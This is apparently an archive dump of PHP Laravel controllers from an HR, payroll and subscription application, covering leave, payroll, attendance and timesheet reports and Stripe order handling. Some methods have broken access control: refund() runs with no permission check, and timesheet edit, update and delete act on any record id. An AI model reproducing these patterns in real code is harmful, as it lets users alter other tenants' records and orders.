$totalPending += $pending; $employeeLeave['approved'] = $approved; $employeeLeave['reject'] = $reject; $employeeLeave['pending'] = $pending; $leaves[] = $employeeLeave; } $starting_year = date('Y', strtotime('-5 year')); $ending_year = date('Y', strtotime('+5 year')); $filterYear['starting_year'] = $starting_year; $filterYear['ending_year'] = $ending_year; $filter['totalApproved'] = $totalApproved; $filter['totalReject'] = $totalReject; $filter['totalPending'] = $totalPending; return view('report.leave', compact('department', 'branch', 'leaves', 'filterYear', 'filter')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function employeeLeave(Request $request, $employee_id, $status, $type, $month, $year) { if (\Auth::user()->can('Manage Report')) { $leaveTypes = LeaveType::where('created_by', \Auth::user()->creatorId())->get(); $leaves = []; foreach ($leaveTypes as $leaveType) { $leave = new Leave(); $leave->title = $leaveType->title; $totalLeave = Leave::where('employee_id', $employee_id)->where('status', $status)->where('leave_type_id', $leaveType->id); if ($type == 'yearly') { $totalLeave->whereYear('applied_on', $year); } else { $m = date('m', strtotime($month)); $y = date('Y', strtotime($month)); $totalLeave->whereMonth('applied_on', $m)->whereYear('applied_on', $y); } $totalLeave = $totalLeave->count(); $leave->total = $totalLeave; $leaves[] = $leave; } $leaveData = Leave::where('employee_id', $employee_id)->where('status', $status); if ($type == 'yearly') { $leaveData->whereYear('applied_on', $year); } else { $m = date('m', strtotime($month)); $y = date('Y', strtotime($month)); $leaveData->whereMonth('applied_on', $m)->whereYear('applied_on', $y); } $leaveData = $leaveData->get(); return view('report.leaveShow', compact('leaves', 'leaveData')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function accountStatement(Request $request) { if (\Auth::user()->can('Manage Report')) { $accountList = AccountList::where('created_by', \Auth::user()->creatorId())->get()->pluck('account_name', 'id'); $accountList->prepend('All', ''); $filterYear['account'] = __('All'); $filterYear['type'] = __('Income'); if ($request->type == 'expense') { $accountData = Expense::orderBy('id'); $accounts = Expense::select('account_lists.id', 'account_lists.account_name')->leftjoin('account_lists', 'expenses.account_id', '=', 'account_lists.id')->groupBy('expenses.account_id')->selectRaw('sum(amount) as total'); if (!empty($request->start_month) && !empty($request->end_month)) { $start = strtotime($request->start_month); $end = strtotime($request->end_month); } else { $start = strtotime(date('Y-m')); $end = strtotime(date('Y-m', strtotime("-5 month"))); } $currentdate = $start; while ($currentdate <= $end) { $data['month'] = date('m', $currentdate); $data['year'] = date('Y', $currentdate); $accountData->Orwhere( function ($query) use ($data) { $query->whereMonth('date', $data['month'])->whereYear('date', $data['year']); } ); $accounts->Orwhere( function ($query) use ($data) { $query->whereMonth('date', $data['month'])->whereYear('date', $data['year']); } ); $currentdate = strtotime('+1 month', $currentdate); } $filterYear['startDateRange'] = date('M-Y', $start); $filterYear['endDateRange'] = date('M-Y', $end); if (!empty($request->account)) { $accountData->where('account_id', $request->account); $accounts->where('account_lists.id', $request->account); $filterYear['account'] = !empty(AccountList::find($request->account)) ? Department::find($request->account)->account_name : ''; } $accounts->where('expenses.created_by', \Auth::user()->creatorId()); $filterYear['type'] = __('Expense'); } else { $accountData = Deposit::orderBy('id'); $accounts = Deposit::select('account_lists.id', 'account_lists.account_name')->leftjoin('account_lists', 'deposits.account_id', '=', 'account_lists.id')->groupBy('deposits.account_id')->selectRaw('sum(amount) as total'); if (!empty($request->start_month) && !empty($request->end_month)) { $start = strtotime($request->start_month); $end = strtotime($request->end_month); } else { $start = strtotime(date('Y-m')); $end = strtotime(date('Y-m', strtotime("-5 month"))); } $currentdate = $start; while ($currentdate <= $end) { $data['month'] = date('m', $currentdate); $data['year'] = date('Y', $currentdate); $accountData->Orwhere( function ($query) use ($data) { $query->whereMonth('date', $data['month'])->whereYear('date', $data['year']); } ); $currentdate = strtotime('+1 month', $currentdate); $accounts->Orwhere( function ($query) use ($data) { $query->whereMonth('date', $data['month'])->whereYear('date', $data['year']); } ); $currentdate = strtotime('+1 month', $currentdate); } $filterYear['startDateRange'] = date('M-Y', $start); $filterYear['endDateRange'] = date('M-Y', $end); if (!empty($request->account)) { $accountData->where('account_id', $request->account); $accounts->where('account_lists.id', $request->account); $filterYear['account'] = !empty(AccountList::find($request->account)) ? Department::find($request->account)->account_name : ''; } $accounts->where('deposits.created_by', \Auth::user()->creatorId()); } $accountData->where('created_by', \Auth::user()->creatorId()); $accountData = $accountData->get(); $accounts = $accounts->get(); return view('report.account_statement', compact('accountData', 'accountList', 'accounts', 'filterYear')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function payroll(Request $request) { if (\Auth::user()->can('Manage Report')) { $branch = Branch::where('created_by', \Auth::user()->creatorId())->get()->pluck('name', 'id'); $branch->prepend('All', ''); $department = Department::where('created_by', \Auth::user()->creatorId())->get()->pluck('name', 'id'); $department->prepend('All', ''); $filterYear['branch'] = __('All'); $filterYear['department'] = __('All'); $filterYear['type'] = __('Monthly'); $payslips = PaySlip::select('pay_slips.*', 'employees.name')->leftjoin('employees', 'pay_slips.employee_id', '=', 'employees.id')->where('pay_slips.created_by', \Auth::user()->creatorId()); if ($request->type == 'monthly' && !empty($request->month)) { $payslips->where('salary_month', $request->month); $filterYear['dateYearRange'] = date('M-Y', strtotime($request->month)); $filterYear['type'] = __('Monthly'); } elseif (!isset($request->type)) { $month = date('Y-m'); $payslips->where('salary_month', $month); $filterYear['dateYearRange'] = date('M-Y', strtotime($month)); $filterYear['type'] = __('Monthly'); } if ($request->type == 'yearly' && !empty($request->year)) { $startMonth = $request->year . '-01'; $endMonth = $request->year . '-12'; $payslips->where('salary_month', '>=', $startMonth)->where('salary_month', '<=', $endMonth); $filterYear['dateYearRange'] = $request->year; $filterYear['type'] = __('Yearly'); } if (!empty($request->branch)) { $payslips->where('employees.branch_id', $request->branch); $filterYear['branch'] = !empty(Branch::find($request->branch)) ? Branch::find($request->branch)->name : ''; } if (!empty($request->department)) { $payslips->where('employees.department_id', $request->department); $filterYear['department'] = !empty(Department::find($request->department)) ? Department::find($request->department)->name : ''; } $payslips = $payslips->get(); $totalBasicSalary = $totalNetSalary = $totalAllowance = $totalCommision = $totalLoan = $totalSaturationDeduction = $totalOtherPayment = $totalOverTime = 0; foreach ($payslips as $payslip) { $totalBasicSalary += $payslip->basic_salary; $totalNetSalary += $payslip->net_payble; $allowances = json_decode($payslip->allowance); foreach ($allowances as $allowance) { $totalAllowance += $allowance->amount; } $commisions = json_decode($payslip->commission); foreach ($commisions as $commision) { $totalCommision += $commision->amount; } $loans = json_decode($payslip->loan); foreach ($loans as $loan) { $totalLoan += $loan->amount; } $saturationDeductions = json_decode($payslip->saturation_deduction); foreach ($saturationDeductions as $saturationDeduction) { $totalSaturationDeduction += $saturationDeduction->amount; } $otherPayments = json_decode($payslip->other_payment); foreach ($otherPayments as $otherPayment) { $totalOtherPayment += $otherPayment->amount; } $overtimes = json_decode($payslip->overtime); foreach ($overtimes as $overtime) { $days = $overtime->number_of_days; $hours = $overtime->hours; $rate = $overtime->rate; $totalOverTime += ($rate * $hours) * $days; } } $filterData['totalBasicSalary'] = $totalBasicSalary; $filterData['totalNetSalary'] = $totalNetSalary; $filterData['totalAllowance'] = $totalAllowance; $filterData['totalCommision'] = $totalCommision; $filterData['totalLoan'] = $totalLoan; $filterData['totalSaturationDeduction'] = $totalSaturationDeduction; $filterData['totalOtherPayment'] = $totalOtherPayment; $filterData['totalOverTime'] = $totalOverTime; $starting_year = date('Y', strtotime('-5 year')); $ending_year = date('Y', strtotime('+5 year')); $filterYear['starting_year'] = $starting_year; $filterYear['ending_year'] = $ending_year; return view('report.payroll', compact('payslips', 'filterData', 'branch', 'department', 'filterYear')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function monthlyAttendance(Request $request) { if (\Auth::user()->can('Manage Report')) { $branch = Branch::where('created_by', \Auth::user()->creatorId())->get()->pluck('name', 'id'); $branch->prepend('All', ''); $department = Department::where('created_by', \Auth::user()->creatorId())->get()->pluck('name', 'id'); $department->prepend('All', ''); $data['branch'] = __('All'); $data['department'] = __('All'); $employees = Employee::select('id', 'name'); if (!empty($request->employee_id) && $request->employee_id[0] != 0) { $employees->whereIn('id', $request->employee_id); } $employees = $employees->where('created_by', \Auth::user()->creatorId()); if (!empty($request->branch)) { $employees->where('branch_id', $request->branch); $data['branch'] = !empty(Branch::find($request->branch)) ? Branch::find($request->branch)->name : ''; } if (!empty($request->department)) { $employees->where('department_id', $request->department); $data['department'] = !empty(Department::find($request->department)) ? Department::find($request->department)->name : ''; } if (!empty($request->employees)) { $employees->where('employee_id', $request->employees); $data['employees'] = !empty(Employee::find($request->employees)) ? Employee::find($request->employees)->name : ''; } $employees = $employees->get()->pluck('name', 'id'); if (!empty($request->month)) { $currentdate = strtotime($request->month); $month = date('m', $currentdate); $year = date('Y', $currentdate); $curMonth = date('M-Y', strtotime($request->month)); } else { $month = date('m'); $year = date('Y'); $curMonth = date('M-Y', strtotime($year . '-' . $month)); } // $num_of_days = cal_days_in_month(CAL_GREGORIAN, $month, $year); $num_of_days = date('t', mktime(0, 0, 0, $month, 1, $year)); for ($i = 1; $i <= $num_of_days; $i++) { $dates[] = str_pad($i, 2, '0', STR_PAD_LEFT); } $employeesAttendance = []; $totalPresent = $totalLeave = $totalEarlyLeave = 0; $ovetimeHours = $overtimeMins = $earlyleaveHours = $earlyleaveMins = $lateHours = $lateMins = 0; foreach ($employees as $id => $employee) { $attendances['name'] = $employee; foreach ($dates as $date) { $dateFormat = $year . '-' . $month . '-' . $date; if ($dateFormat <= date('Y-m-d')) { $employeeAttendance = AttendanceEmployee::where('employee_id', $id)->where('date', $dateFormat)->first(); if (!empty($employeeAttendance) && $employeeAttendance->status == 'Present') { $attendanceStatus[$date] = 'P'; $totalPresent += 1; if ($employeeAttendance->overtime > 0) { $ovetimeHours += date('h', strtotime($employeeAttendance->overtime)); $overtimeMins += date('i', strtotime($employeeAttendance->overtime)); } if ($employeeAttendance->early_leaving > 0) { $earlyleaveHours += date('h', strtotime($employeeAttendance->early_leaving)); $earlyleaveMins += date('i', strtotime($employeeAttendance->early_leaving)); } if ($employeeAttendance->late > 0) { $lateHours += date('h', strtotime($employeeAttendance->late)); $lateMins += date('i', strtotime($employeeAttendance->late)); } } elseif (!empty($employeeAttendance) && $employeeAttendance->status == 'Leave') { $attendanceStatus[$date] = 'A'; $totalLeave += 1; } else { $attendanceStatus[$date] = ''; } } else { $attendanceStatus[$date] = ''; } } $attendances['status'] = $attendanceStatus; $employeesAttendance[] = $attendances; } $totalOverTime = $ovetimeHours + ($overtimeMins / 60); $totalEarlyleave = $earlyleaveHours + ($earlyleaveMins / 60); $totalLate = $lateHours + ($lateMins / 60); $data['totalOvertime'] = $totalOverTime; $data['totalEarlyLeave'] = $totalEarlyleave; $data['totalLate'] = $totalLate; $data['totalPresent'] = $totalPresent; $data['totalLeave'] = $totalLeave; $data['curMonth'] = $curMonth; return view('report.monthlyAttendance', compact('employeesAttendance', 'branch', 'department', 'employees', 'dates', 'data')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function timesheet(Request $request) { if (\Auth::user()->can('Manage Report')) { $branch = Branch::where('created_by', \Auth::user()->creatorId())->get()->pluck('name', 'id'); $branch->prepend('All', ''); $department = Department::where('created_by', \Auth::user()->creatorId())->get()->pluck('name', 'id'); $department->prepend('All', ''); $filterYear['branch'] = __('All'); $filterYear['department'] = __('All'); $timesheets = TimeSheet::select('time_sheets.*', 'employees.name')->leftjoin('employees', 'time_sheets.employee_id', '=', 'employees.id')->where('time_sheets.created_by', \Auth::user()->creatorId()); $timesheetFilters = TimeSheet::select('time_sheets.*', 'employees.name')->groupBy('employee_id')->selectRaw('sum(hours) as total')->leftjoin('employees', 'time_sheets.employee_id', '=', 'employees.id')->where('time_sheets.created_by', \Auth::user()->creatorId()); if (!empty($request->start_date) && !empty($request->end_date)) { $timesheets->where('date', '>=', $request->start_date); $timesheets->where('date', '<=', $request->end_date); $timesheetFilters->where('date', '>=', $request->start_date); $timesheetFilters->where('date', '<=', $request->end_date); $filterYear['start_date'] = $request->start_date; $filterYear['end_date'] = $request->end_date; } else { $filterYear['start_date'] = date('Y-m-01'); $filterYear['end_date'] = date('Y-m-t'); $timesheets->where('date', '>=', $filterYear['start_date']); $timesheets->where('date', '<=', $filterYear['end_date']); $timesheetFilters->where('date', '>=', $filterYear['start_date']); $timesheetFilters->where('date', '<=', $filterYear['end_date']); } if (!empty($request->branch)) { $timesheets->where('branch_id', $request->branch); $timesheetFilters->where('branch_id', $request->branch); $filterYear['branch'] = !empty(Branch::find($request->branch)) ? Branch::find($request->branch)->name : ''; } if (!empty($request->department)) { $timesheets->where('department_id', $request->department); $timesheetFilters->where('department_id', $request->department); $filterYear['department'] = !empty(Department::find($request->department)) ? Department::find($request->department)->name : ''; } $timesheets = $timesheets->get(); $timesheetFilters = $timesheetFilters->get(); $totalHours = 0; foreach ($timesheetFilters as $timesheetFilter) { $totalHours += $timesheetFilter->hours; } $filterYear['totalHours'] = $totalHours; $filterYear['totalEmployee'] = count($timesheetFilters); return view('report.timesheet', compact('timesheets', 'branch', 'department', 'filterYear', 'timesheetFilters')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function LeaveReportExport() { $name = 'leave_' . date('Y-m-d i:h:s'); $data = \Excel::download(new LeaveReportExport(), $name . '.xlsx'); return $data; } public function AccountStatementReportExport(Request $request) { $name = 'Account Statement_' . date('Y-m-d i:h:s'); $data = \Excel::download(new accountstatementExport(), $name . '.xlsx'); return $data; } public function PayrollReportExport($month, $branch, $department) { $data = []; $data['branch'] = __('All'); $data['department'] = __('All'); if ($branch != 0) { $data['branch'] = !empty(Branch::find($branch)) ? Branch::find($branch)->id : ''; } if ($department != 0) { $data['department'] = !empty(Department::find($department)) ? Department::find($department)->id : ''; } $data['month'] = $month; $name = 'Payroll_' . date('Y-m-d i:h:s'); $data = \Excel::download(new PayrollExport($data), $name . '.xlsx'); return $data; } public function exportTimeshhetReport(Request $request) { $name = 'Timesheet_' . date('Y-m-d i:h:s'); $data = \Excel::download(new TimesheetReportExport(), $name . '.xlsx'); return $data; } public function exportCsv($filter_month, $branch, $department, $employee) { $data['branch'] = __('All'); $data['department'] = __('All'); $employees = Employee::select('id', 'name')->where('created_by', \Auth::user()->creatorId()); if ($branch != 0) { $employees->where('branch_id', $branch); $data['branch'] = !empty(Branch::find($branch)) ? Branch::find($branch)->name : ''; } if ($department != 0) { $employees->where('department_id', $department); $data['department'] = !empty(Department::find($department)) ? Department::find($department)->name : ''; } if ($employee != 0) { $employeeIds = explode(',', $employee); $emp = Employee::whereIn('id', $employeeIds); } else { $emp = Employee::where('department_id', $department); } $employees = $emp->get()->pluck('name', 'id'); $currentdate = strtotime($filter_month); $month = date('m', $currentdate); $year = date('Y', $currentdate); $data['curMonth'] = date('M-Y', strtotime($filter_month)); $fileName = $data['branch'] . ' ' . __('Branch') . ' ' . $data['curMonth'] . ' ' . __('Attendance Report of') . ' ' . $data['department'] . ' ' . __('Department') . ' ' . '.csv'; $employeesAttendance = []; $num_of_days = date('t', mktime(0, 0, 0, $month, 1, $year)); for ($i = 1; $i <= $num_of_days; $i++) { $dates[] = str_pad($i, 2, '0', STR_PAD_LEFT); } foreach ($employees as $id => $employee) { $attendances['name'] = $employee; foreach ($dates as $date) { $dateFormat = $year . '-' . $month . '-' . $date; if ($dateFormat <= date('Y-m-d')) { $employeeAttendance = AttendanceEmployee::where('employee_id', $id)->where('date', $dateFormat)->first(); if (!empty($employeeAttendance) && $employeeAttendance->status == 'Present') { $attendanceStatus[$date] = 'P'; } elseif (!empty($employeeAttendance) && $employeeAttendance->status == 'Leave') { $attendanceStatus[$date] = 'A'; } else { $attendanceStatus[$date] = '-'; } } else { $attendanceStatus[$date] = '-'; } $attendances[$date] = $attendanceStatus[$date]; } $employeesAttendance[] = $attendances; } $headers = array( "Content-type" => "text/csv", "Content-Disposition" => "attachment; filename=$fileName", "Pragma" => "no-cache", "Cache-Control" => "must-revalidate, post-check=0, pre-check=0", "Expires" => "0", ); $emp = array( 'employee', ); $columns = array_merge($emp, $dates); $callback = function () use ($employeesAttendance, $columns) { $file = fopen('php://output', 'w'); fputcsv($file, $columns); foreach ($employeesAttendance as $attendance) { fputcsv($file, str_replace('"', '', array_values($attendance))); } fclose($file); }; return response()->stream($callback, 200, $headers); } public function getdepartment(Request $request) { if ($request->branch_id == 0) { $departments = Department::where('created_by', '=', \Auth::user()->creatorId())->get()->pluck('name', 'id')->toArray(); } else { $departments = Department::where('created_by', '=', \Auth::user()->creatorId())->where('branch_id', $request->branch_id)->get()->pluck('name', 'id')->toArray(); } return response()->json($departments); } public function getemployee(Request $request) { if (!$request->department_id) { $employees = Employee::where('created_by', '=', \Auth::user()->creatorId())->get()->pluck('name', 'id')->toArray(); } else { $employees = Employee::where('created_by', '=', \Auth::user()->creatorId())->where('department_id', $request->department_id)->get()->pluck('name', 'id')->toArray(); } return response()->json($employees); } } Http/Controllers/TimeSheetController.php000064400000020600150364306410014435 0ustar00can('Manage TimeSheet')) { $employeesList = []; if(\Auth::user()->type == 'employee') { $timeSheets = TimeSheet::where('employee_id', \Auth::user()->id)->get(); $employeesList = Employee::where('created_by', \Auth::user()->creatorId())->first(); $timesheets = TimeSheet::where('created_by', \Auth::user()->creatorId()); if(!empty($request->start_date) && !empty($request->end_date)) { $timesheets->where('date', '>=', $request->start_date); $timesheets->where('date', '<=', $request->end_date); } if(!empty($employeesList->user_id)) { $timesheets->where('employee_id', \Auth::user()->id); } $timeSheets = $timesheets->get(); } else { $employeesList = Employee::where('created_by', \Auth::user()->creatorId())->get()->pluck('name', 'user_id'); $employeesList->prepend('All', ''); $timesheets = TimeSheet::where('created_by', \Auth::user()->creatorId()); if(!empty($request->start_date) && !empty($request->end_date)) { $timesheets->where('date', '>=', $request->start_date); $timesheets->where('date', '<=', $request->end_date); } if(!empty($request->employee)) { $timesheets->where('employee_id', $request->employee); } $timeSheets = $timesheets->get(); } return view('timeSheet.index', compact('timeSheets', 'employeesList')); } else { return redirect()->back()->with('error', 'Permission denied.'); } } public function create() { if(\Auth::user()->can('Create TimeSheet')) { $employees = Employee::where('created_by', '=', \Auth::user()->creatorId())->get()->pluck('name', 'user_id'); $employees->prepend('Select Employee', ''); return view('timeSheet.create', compact('employees')); } else { return redirect()->back()->with('error', 'Permission denied.'); } } public function store(Request $request) { if(\Auth::user()->can('Create TimeSheet')) { $timeSheet = new Timesheet(); if(\Auth::user()->type == 'employee') { $timeSheet->employee_id = \Auth::user()->id; } else { $timeSheet->employee_id = $request->employee_id; } $timeSheetCheck = TimeSheet::where('date', $request->date)->where('employee_id', $timeSheet->employee_id)->first(); if(!empty($timeSheetCheck)) { return redirect()->back()->with('error', __('Timesheet already created in this day.')); } $timeSheet->date = $request->date; $timeSheet->hours = $request->hours; $timeSheet->remark = $request->remark; $timeSheet->created_by = \Auth::user()->creatorId(); $timeSheet->save(); return redirect()->route('timesheet.index')->with('success', __('Timesheet successfully created.')); } else { return redirect()->back()->with('error', 'Permission denied.'); } } public function show(TimeSheet $timeSheet) { // } public function edit(TimeSheet $timeSheet, $id) { if(\Auth::user()->can('Edit TimeSheet')) { $employees = Employee::where('created_by', '=', \Auth::user()->creatorId())->get()->pluck('name', 'user_id'); $timeSheet = Timesheet::find($id); return view('timeSheet.edit', compact('timeSheet', 'employees')); } else { return redirect()->back()->with('error', 'Permission denied.'); } } public function update(Request $request, $id) { if(\Auth::user()->can('Edit TimeSheet')) { $timeSheet = Timesheet::find($id); if(\Auth::user()->type == 'employee') { $timeSheet->employee_id = \Auth::user()->id; } else { $timeSheet->employee_id = $request->employee_id; } $timeSheetCheck = TimeSheet::where('date', $request->date)->where('employee_id', $timeSheet->employee_id)->first(); if(!empty($timeSheetCheck) && $timeSheetCheck->id != $id) { return redirect()->back()->with('error', __('Timesheet already created in this day.')); } $timeSheet->date = $request->date; $timeSheet->hours = $request->hours; $timeSheet->remark = $request->remark; $timeSheet->save(); return redirect()->route('timesheet.index')->with('success', __('TimeSheet successfully updated.')); } else { return redirect()->back()->with('error', 'Permission denied.'); } } public function destroy($id) { if(\Auth::user()->can('Delete TimeSheet')) { $timeSheet = Timesheet::find($id); $timeSheet->delete(); return redirect()->route('timesheet.index')->with('success', __('TimeSheet successfully deleted.')); } else { return redirect()->back()->with('error', 'Permission denied.'); } } public function export(Request $request) { $name = 'Timesheet_' . date('Y-m-d i:h:s'); $data = \Excel::download(new TimesheetExport(), $name . '.xlsx'); return $data; } public function exportTimeshhetReport(Request $request) { $name = 'Timesheet_' . date('Y-m-d i:h:s'); $data = \Excel::download(new TimesheetExport(), $name . '.xlsx'); return $data; } public function importFile(Request $request) { return view('timeSheet.import'); } public function import(Request $request) { $rules = [ 'file' => 'required|mimes:csv,txt,xlsx', ]; $validator = \Validator::make($request->all(), $rules); if ($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $timesheet = (new TimesheetImport())->toArray(request()->file('file'))[0]; $totalTimesheet = count($timesheet) - 1; $errorArray = []; for ($i = 1; $i <= $totalTimesheet; $i++) { $timesheets = $timesheet[$i]; $timesheetData=TimeSheet::where('employee_id',$timesheets[1])->where('date',$timesheets[0])->first(); if(!empty($timesheetData)) { $errorArray[]=$timesheetData; } else { $time_sheet=new TimeSheet(); $time_sheet->employee_id=$timesheets[0]; $time_sheet->date=$timesheets[1]; $time_sheet->hours=$timesheets[2]; $time_sheet->remark=$timesheets[3]; $time_sheet->created_by=Auth::user()->id; $time_sheet->save(); } } if (empty($errorArray)) { $data['status'] = 'success'; $data['msg'] = __('Record successfully imported'); } else { $data['status'] = 'error'; $data['msg'] = count($errorArray) . ' ' . __('Record imported fail out of' . ' ' . $totalTimesheet . ' ' . 'record'); foreach ($errorArray as $errorData) { $errorRecord[] = implode(',', $errorData->toArray()); } \Session::put('errorArray', $errorRecord); } return redirect()->back()->with($data['status'], $data['msg']); } } Http/Controllers/PaymentTypeController.php000064400000010227150364306410015031 0ustar00can('Manage Payment Type')) { $paymenttypes = PaymentType::where('created_by', '=', \Auth::user()->creatorId())->get(); return view('paymenttype.index', compact('paymenttypes')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function create() { if(\Auth::user()->can('Create Payment Type')) { return view('paymenttype.create'); } else { return response()->json(['error' => __('Permission denied.')], 401); } } public function store(Request $request) { if(\Auth::user()->can('Create Payment Type')) { $validator = \Validator::make( $request->all(), [ 'name' => 'required', ] ); if($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $paymenttype = new PaymentType(); $paymenttype->name = $request->name; $paymenttype->created_by = \Auth::user()->creatorId(); $paymenttype->save(); return redirect()->route('paymenttype.index')->with('success', __('PaymentType successfully created.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function show(PaymentType $paymenttype) { return redirect()->route('paymenttype.index'); } public function edit(PaymentType $paymenttype) { if(\Auth::user()->can('Edit Payment Type')) { if($paymenttype->created_by == \Auth::user()->creatorId()) { return view('paymenttype.edit', compact('paymenttype')); } else { return response()->json(['error' => __('Permission denied.')], 401); } } else { return response()->json(['error' => __('Permission denied.')], 401); } } public function update(Request $request, PaymentType $paymenttype) { if(\Auth::user()->can('Edit Payment Type')) { if($paymenttype->created_by == \Auth::user()->creatorId()) { $validator = \Validator::make( $request->all(), [ 'name' => 'required|max:20', ] ); if($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $paymenttype->name = $request->name; $paymenttype->save(); return redirect()->route('paymenttype.index')->with('success', __('PaymentType successfully updated.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function destroy(PaymentType $paymenttype) { if(\Auth::user()->can('Delete Payment Type')) { if($paymenttype->created_by == \Auth::user()->creatorId()) { $paymenttype->delete(); return redirect()->route('paymenttype.index')->with('success', __('PaymentType successfully deleted.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } } Http/Controllers/StripePaymentController.php000064400000040735150364306410015365 0ustar00type == 'super admin') { $orders = Order::select( [ 'orders.*', 'users.name as user_name', ] )->join('users', 'orders.user_id', '=', 'users.id')->orderBy('orders.created_at', 'DESC')->get(); $userOrders = Order::select('*') ->whereIn('id', function ($query) { $query->selectRaw('MAX(id)') ->from('orders') ->groupBy('user_id'); }) ->orderBy('created_at', 'desc') ->get(); return view('order.index', compact('orders', 'userOrders')); } elseif (\Auth::user()->type == 'company') { $objUser = \Auth::user(); $orders = Order::select( [ 'orders.*', 'users.name as user_name', ] )->join('users', 'orders.user_id', '=', 'users.id')->where('user_id', $objUser->id)->orderBy('orders.created_at', 'DESC')->get(); return view('order.index', compact('orders')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function refund(Request $request, $id, $user_id) { Order::where('id', $request->id)->update(['is_refund' => 1]); $user = User::find($user_id); $assignPlan = $user->assignPlan(1); return redirect()->back()->with('success', __('We successfully planned a refund and assigned a free plan.')); } public function stripe($code) { $admin_payment_setting = Utility::getAdminPaymentSetting(); if ( isset($admin_payment_setting['is_stripe_enabled']) && $admin_payment_setting['is_manually_enabled'] == 'on' || $admin_payment_setting['is_banktransfer_enabled'] == 'on' || $admin_payment_setting['is_stripe_enabled'] == 'on' && !empty($admin_payment_setting['stripe_key']) && !empty($admin_payment_setting['stripe_secret']) || $admin_payment_setting['is_iyzipay_enabled'] == 'on' && !empty($admin_payment_setting['iyzipay_public_key']) && !empty($admin_payment_setting['iyzipay_secret_key']) || $admin_payment_setting['is_paypal_enabled'] == 'on' && !empty($admin_payment_setting['paypal_client_id']) && !empty($admin_payment_setting['paypal_secret_key']) || $admin_payment_setting['is_paystack_enabled'] == 'on' && !empty($admin_payment_setting['paystack_public_key']) && !empty($admin_payment_setting['paystack_secret_key']) || $admin_payment_setting['is_flutterwave_enabled'] == 'on' && !empty($admin_payment_setting['flutterwave_public_key']) && !empty($admin_payment_setting['flutterwave_secret_key']) || $admin_payment_setting['is_razorpay_enabled'] == 'on' && !empty($admin_payment_setting['razorpay_public_key']) && !empty($admin_payment_setting['razorpay_secret_key']) || $admin_payment_setting['is_paytm_enabled'] == 'on' && !empty($admin_payment_setting['paytm_merchant_id']) && !empty($admin_payment_setting['paytm_merchant_key']) || $admin_payment_setting['is_mercado_enabled'] == 'on' && !empty($admin_payment_setting['mercado_access_token']) || $admin_payment_setting['is_mollie_enabled'] == 'on' && !empty($admin_payment_setting['mollie_api_key']) && !empty($admin_payment_setting['mollie_profile_id']) && !empty($admin_payment_setting['mollie_partner_id']) || $admin_payment_setting['is_skrill_enabled'] == 'on' && !empty($admin_payment_setting['skrill_email']) || $admin_payment_setting['is_coingate_enabled'] == 'on' && !empty($admin_payment_setting['coingate_auth_token']) || $admin_payment_setting['is_paymentwall_enabled'] == 'on' && !empty($admin_payment_setting['paymentwall_public_key']) && !empty($admin_payment_setting['paymentwall_secret_key']) || $admin_payment_setting['is_toyyibpay_enabled'] == 'on' && !empty($admin_payment_setting['toyyibpay_category_code']) && !empty($admin_payment_setting['toyyibpay_secret_key']) || $admin_payment_setting['is_payfast_enabled'] == 'on' && !empty($admin_payment_setting['payfast_merchant_id']) && !empty($admin_payment_setting['payfast_merchant_key']) && !empty($admin_payment_setting['payfast_signature']) || $admin_payment_setting['is_sspay_enabled'] == 'on' && !empty($admin_payment_setting['sspay_category_code']) && !empty($admin_payment_setting['sspay_secret_key']) || $admin_payment_setting['is_paytab_enabled'] == 'on' && !empty($admin_payment_setting['paytab_profile_id']) && !empty($admin_payment_setting['paytab_server_key']) && !empty($admin_payment_setting['paytab_region']) || $admin_payment_setting['is_benefit_enabled'] == 'on' && !empty($admin_payment_setting['benefit_api_key']) && !empty($admin_payment_setting['benefit_secret_key']) || $admin_payment_setting['is_cashfree_enabled'] == 'on' && !empty($admin_payment_setting['cashfree_api_key']) && !empty($admin_payment_setting['cashfree_secret_key']) || $admin_payment_setting['is_aamarpay_enabled'] == 'on' && !empty($admin_payment_setting['aamarpay_store_id']) && !empty($admin_payment_setting['aamarpay_signature_key']) && !empty($admin_payment_setting['aamarpay_description']) || $admin_payment_setting['is_paytr_enabled'] == 'on' && !empty($admin_payment_setting['paytr_merchant_id']) && !empty($admin_payment_setting['paytr_merchant_key']) && !empty($admin_payment_setting['paytr_merchant_salt']) || $admin_payment_setting['is_yookassa_enabled'] == 'on' && !empty($admin_payment_setting['yookassa_shop_id']) && !empty($admin_payment_setting['yookassa_secret']) || $admin_payment_setting['is_midtrans_enabled'] == 'on' && !empty($admin_payment_setting['midtrans_secret']) || $admin_payment_setting['is_xendit_enabled'] == 'on' && !empty($admin_payment_setting['xendit_api']) && !empty($admin_payment_setting['xendit_token']) || $admin_payment_setting['is_nepalste_enabled'] == 'on' && !empty($admin_payment_setting['nepalste_public_key']) && !empty($admin_payment_setting['nepalste_secret_key']) || $admin_payment_setting['is_paiementpro_enabled'] == 'on' && !empty($admin_payment_setting['paiementpro_merchant_id']) || $admin_payment_setting['is_fedapay_enabled'] == 'on' && !empty($admin_payment_setting['fedapay_public_key']) && !empty($admin_payment_setting['fedapay_secret_key']) || $admin_payment_setting['is_payhere_enabled'] == 'on' && !empty($admin_payment_setting['payhere_merchant_id']) && !empty($admin_payment_setting['payhere_merchant_secret']) && !empty($admin_payment_setting['payhere_app_id']) && !empty($admin_payment_setting['payhere_app_secret']) || $admin_payment_setting['is_cinetpay_enabled'] == 'on' && !empty($admin_payment_setting['cinetpay_api_key']) && !empty($admin_payment_setting['cinetpay_site_id']) ) { if (\Auth::user()->can('Manage Company Settings')) { try { $plan_id = Crypt::decrypt($code); } catch (\Throwable $th) { return redirect()->back()->with('error', __('Plan Not Found.')); } $plan_id = 